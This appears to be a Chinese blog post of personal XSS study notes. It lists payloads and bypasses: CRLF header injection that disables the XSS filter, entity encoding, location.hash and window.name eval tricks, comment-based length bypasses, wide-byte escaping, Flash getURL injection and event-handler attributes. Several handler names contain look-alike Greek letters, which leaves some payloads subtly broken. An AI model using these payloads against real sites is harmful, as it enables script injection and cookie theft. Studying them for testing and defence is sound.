xss 全编码两次_XSS骚的一匹的笔记(更毕)

57f204be86e0dbbfeb6ff8a7de79d53a.png

0x00 2019-07-11更新

1:获取cookie

alert(document.cookie)

2:CRLF("回车+换行"的简称)注入漏洞

产生原因服务端没有过滤rn,而又把用户输入的数据放入放在HTTP头中。

Payload插入两次rn的十六进制%0d%0a

栗子

?number=133%0d%0a%0d%0a<script>alert(/xss/)</script>

HTTP/1.1 200 OK
Set-Cookie:number=133

<script>alert(/xss/)</script>

注意:浏览器的Filter是浏览器对一些反射型XSS做的保护策略,当检测到url中包含XSS相关特征就会过滤掉不显示。

绕过方法: 在数据包中的http头中注入X-XSS Protection:0,关闭IE8的XSS Filter功能。

栗子

?url=%0aX-XSS-Protection:%200%0d%0a%0d%0a<img%20src=1%20onerror=alert(/xss/)>

3:识别用户浏览器

alert(navigator.userAgent)

4:HTML字符实体转换(简单的绕过方法)

使用方法:script等。。。。。类型敏感词被设为检测对象

转换为16进制

&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;

推荐在线工具:

HTML字符实体转换,网页字符实体编码​www.qqxiuzi.cn

栗子

<body>
<a href=# onclick="alert('$var');">test</a>
</body>

注入
$var= htmlencode("');alert('2");

变为
<body>
<a href=# onclick="alert('&#x27;&#x29;&#x3b;alert&#x28;&#x27;2');">test</a>
</body>

解码为
<body>
<a href=# onclick="alert('');alert('2');">test</a>
</body>

5:三种弹窗

alert()==prompt()==confirm()

6:藏代码(location.hash)

构造$var输入Payload:

" οnclick="eval(location.hash.substr(1))

输出后的HTML

<input type=test value="" οnclick="eval(location.hash.substr(1))" />

因为location.hash的第一个字符是#,所以必须去除第一个字符才行。此时构造出的XSS URL:

www.栗子.com#alert(1)

当用户点击文本框的时候就会触发。

7:利用注释符绕过长度限制

栗子

<input id=1 type="text" value=""/>
xxxxxxxxxxxxx
<input id=2 type="text" value=""/>

在第一个input框中输入:

"><!--

第二个输入

--><script>alert(/xss/);</script>

构造完成后为

<input id=1 type="text" value=""><!--"/>
xxxxxxxxxxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>"/>

中间代码被注释

<!-- .....-->

0x01 2019-07-18更新

8:宽字节注入(字符编码)

GBK/GB2312编码

用‘’进行转义时,绕过使用%c或%c1,组成‘%c’

栗子

123%c"<script>alert(1)</script>

9:Flash XSS

getURL("javascript:alert(document.cookie)")

Flash动态脚本重要参数“allowScriptAccess”,这个参数定义了Flash能否与HTML页面进行通信。

三个状态

always,对于HTML的通信不做任何限制;(危险)

sameDomain,只允许来自于本域的Flash与Html通信,这是默认值;(确保Flash文件不是用户传上来的)

never,绝对禁止Flash与页面通信。

allowNetworking

all,允许使用所有的网络通信,也是默认值;101111010110

internal,Flash不能与浏览器通信,但是可以调用其他的API;

none,禁止任何的网络通信。

栗子

ActionScript代码:

on(release){

getURL(_root.clickTAG,"_blank");

}

http://url/to/flash-file.swf?clickTAG=javascript:alert('xss')

10:框架注入

<iframe src="http://www.****.com" width="250" height="250">

0x02 2019-07-26更新

11:常规注入

<script>alert(/xss/)</script>

12:跳转链接注入

1:<a href="javascript:alert(1)">

2:"><a href="javascript:οnclick=alert()">xss</a>

13:鼠标划过触发漏洞

οnmοuseοver=alert(1)

οnmοuseοver=prompt(1)

<img src=a οnmοuseοver=alert('xss')>

<img src=a οnmοuseοver=alert(document.cookie)>

14:鼠标点击触发漏洞

<img src=a οnclick=alert('xss')>

<img src=a οnerrοr=alert(1)>

15:window.name的妙用

<script>

window.name="alert(document.cookie)";

location.href="http://www.xssedsite.com/xssed.php"

</script>

在同一个窗口打开XSS的站点后,只需通过XSS执行以下代码:

eval(name);

16:GET添加参数注入

t_sort="οnclick="alert()"type="text

<input name="t_sort" value="" οnclick="alert()" type="text//" type="hidden">

17:标签style属性注入:

<div style="background:url('javascript:alert(1)')">

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值